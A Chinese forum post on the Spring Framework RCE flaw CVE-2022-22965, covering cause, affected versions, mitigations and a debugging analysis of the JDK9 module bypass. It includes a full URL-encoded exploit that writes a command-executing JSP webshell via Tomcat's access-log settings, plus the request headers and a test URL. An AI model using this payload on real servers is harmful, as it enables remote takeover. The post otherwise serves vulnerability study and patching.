登录后更精彩...O(∩_∩)O...
您需要 登录 才可以下载或查看,没有账号?立即注册
×
Spring Framework远程代码执行漏洞(CVE-2022-22965)
一、漏洞描述springframework 是spring 里面的一个基础开源框架,主要用于javaee的企业开发。 2022年3月30日,Spring框架曝出RCE 0day漏洞,攻击者通过该漏洞可远程实现对目标主机的后门文件写入和配置修改,继而通过后门文件访问获得目标主机权限。
二、漏洞成因该漏洞是由于 Spring Core 未对传输的数据进行有效的验证。Spring MVC 框架提供参数绑定功能,允许用请求中的参数绑定控制器方法中参数对象的成员变量。这一机制使得攻击者能够通过构造恶意请求获取 AccessLogValve 对象,继而注入恶意字段值触发 pipeline 机制,从而能够在未授权的情况下远程构造恶意数据,写入任意路径下的文件,从而导致远程代码执行。
三、影响版本Spring Framework 5.3.X < 5.3.18 Spring Framework 5.2.X < 5.2.20 注:其他小版本未更新均受影响 四、利用条件- JDK 版本 >= 9
- 使用了 Spring 框架或衍生框架
- CachedIntrospectionResults.class
- 使用Tomcat部署的Spring项目
五、漏洞复现注册登录后,启动Spring Framework 远程命令执行漏洞环境。 python工具复现: burp工具复现: EXP: [PHP] 纯文本查看 复制代码 ?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
访问时抓包,在"/"后插入EXP,并在请求头中插入如下字样: suffix: %>// c1: Runtime c2: <% DNT: 1 Content-Length: 2 放包后访问123.58.236.76:17594/tomcatwar.jsp?pwd=j&cmd=id即可看到“id”命令成功执行。 六、修复建议一、官方修复建议: 当前 Spring Framework 官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下: 二、临时修复建议: 该临时修复建议存在一定风险,建议用户可根据业务系统特性审慎选择采用临时修复方案: 需同时按以下两个步骤进行漏洞的临时修复: 1. 在应用中全局搜索 @InitBinder 注解,看看方法体内是否调用 dataBinder.setDisallowedFields 方法,如果发现此代码片段的引入,则在原来的黑名单中,添加 {"class.*","Class. *","*. class.*", "*.Class.*"}。(注:如果此代码片段使用较多,需要每个地方都追加) 2. 在应用系统的项目包下新建以下全局类,并保证这个类被 Spring 加载到 (推荐在 Controller 所在的包中添加). 完成类添加后,需对项目进行重新编译打包和功能验证测试。并重新发布项目。 ==================================一开始复现这个漏洞的时候,听其他师傅说是一个老漏洞CVE-2010-1266的绕过,之前也没调试过这个漏洞,看了些分析文章后,大概明白是对Spring中的bean的漏洞利用,通过API Introspector. getBeanInfo 可以获取到POJO的基类Object.class的属性class,进一步可以获取到Class.class的其他属性,其中就包括了classloader,再利用获取到的属性构造利用链,这次爆出来的漏洞既然是绕过,那么原理应该也差不多, 首先先搭建环境,构造一个简单的POJO:
[Java] 纯文本查看 复制代码 public class User{
private String name;
public String getName0{
return name;
}
public void setName(String name){
this. name=name;
}
}
再写个简单的controller:[Java] 纯文本查看 复制代码 @RequestMapping("/test")
public String test(User user){
System.out.printin(user.getName0);
return "hello spring-mvc";
}
发送get请求:http://localhost:8080/test?name=test 即可完成一次简单的数据绑定。
在开始调试分析之前,首先需要对spring的数据绑定体系机构有个简单的了解,其中涉及到一个关键类org.springframework.validation.DataBinder类,DataBinder类实现了TypeConverter和PropertyEditorRegistry接口,作用主要是把字符串形式的参数转换成服务端真正需要的类型的转换,同时还有校验功能,其中有如下这些属性:
其中bindingResult是BeanPropertyBindingResult的实例,内部会持有一个BeanWrapperImpl。
bind()是数据绑定对象的核心方法:将给定的属性值绑定到此绑定程序的目标,源码如下:
再来看看DataBinder类的继承关系,DataBinder有一个子类WebDataBinder,是一个特殊的DataBinder,用于从Web请求参数到JavaBean对象的数据绑定,而WebDataBinder的子类ServletRequestDataBinder用于执行从servlet请求参数到JavaBeans的数据绑定,包括对multipart文件的支持。
在普通的Controller实现参数绑定的过程中自动实例化一个ServletRequestDataBinder,在客户端请求的过程中使用当前的ServletRequest作为参数调用bind()方法,于是可以来到这个地方下断点,这个过程中会调用到最上级的DataBinder类的dobind()方法,从而调用到DataBinder的applyPropertyValues方法:

applyPropertyValues()方法主要是使用resultBinding对象内的BeanWraperImpl对象完成属性的赋值操作。

后续会调用到。
org.springframework.beans.AbstractNestablePropertyAccessor#getPropertyAccessorForPropertyPath

跟进AbstractNestablePropertyAccessor#getPropertyAccessorForPropertyPath。

这里如果传进来的propertyPath包含.符号,pos则会赋值大于-1,具体的逻辑就不跟了,
进入if语句后调用getNestedPropertyAccessor方法,之后经过如下的调用栈,来到resultBinding对象内的BeanWraperImpl对象的getCachedIntrospectionResults方法。


CachedIntrospectionResults 缓存了所有的bean中属性的信息,通过调试最后return的cachedIntrospectionResults变量可以看到,能够获取到的PropertyDescriptor属性描述器不仅仅有name,还有关键的class属性。

也可以在本地新建一个测试类来获取user这个bean的属性,如下:

至此,我们还需要了解到怎么去绕过CachedIntrospectionResults中的黑名单,看到CachedIntrospectionResults的构造方法。


在第一次获取Bean的属性信息过程中,会初始化CachedIntrospectionResults从而去调用到其构造方法,但其中有个classLoader和protectionDomain的黑名单,导致于在所有jdk版本下面都不能直接去通过class属性中的classloader进行漏洞利用,所以到这里即便能够操作从bean中获得的动态class,也无法进行进一步利用。
绕过方法就是利用jdk9+的新特性,也就是module机制,简称模块化系统,在jdk9+中Class类有一个名为getModule()的新方法,它返回该类作为其成员的模块引用,而包含的模块引用当中就有classloader,如下:

于是可以通过class中的module去间接获取classloader,使CachedIntrospectionResults初始化时的黑名单无效化。
后面的利用思路,就是去思考能利用哪些可控的属性去完成漏洞利用,首先去枚举都有哪些属性,这里贴个小脚本:

这段脚本只获取了int、string与boolean这些基本类型参数的属性,访问得到如下:

枚举出来大概有两百八多个属性,在这些属性当中有几个控制着在tomcat上生成的access log的文件名,其默认值如下:

其中比较值得注意的是其中的pattern,在tomcat中其属性的值由文字文本字符串组成,与前缀为“%”字符的模式标识符组合,还支持从cookie,传入头,传出响应头,Session或ServletRequest中的其他内容中写入信息,有如下模型:

然后通过调试也可以观察出各属性默认值:

于是就可以构造请求包,将log日志文件后缀改为.jsp,在请求头加入标识符变量值在pattern中构造webshell内容,发送完payload后重新调试可发现已成功修改日志配置。

在实际生产环境中,如果是tomcat直接单独启动的话,可以直接控制写入相对路径为“./webapps/ROOT/”下即可正常访问webshell。

三. 修复方式
目前官方已经发布了补丁,在最新版本v5.3.18和v5.2.20中已经完成了修复,如下:

修复过后class类中缓存的属性只包含以下这几个:

from: 1. https://www.cnblogs.com/lwh01/p/16179484.html
2. https://baijiahao.baidu.com/s?id=1730436162313891010
|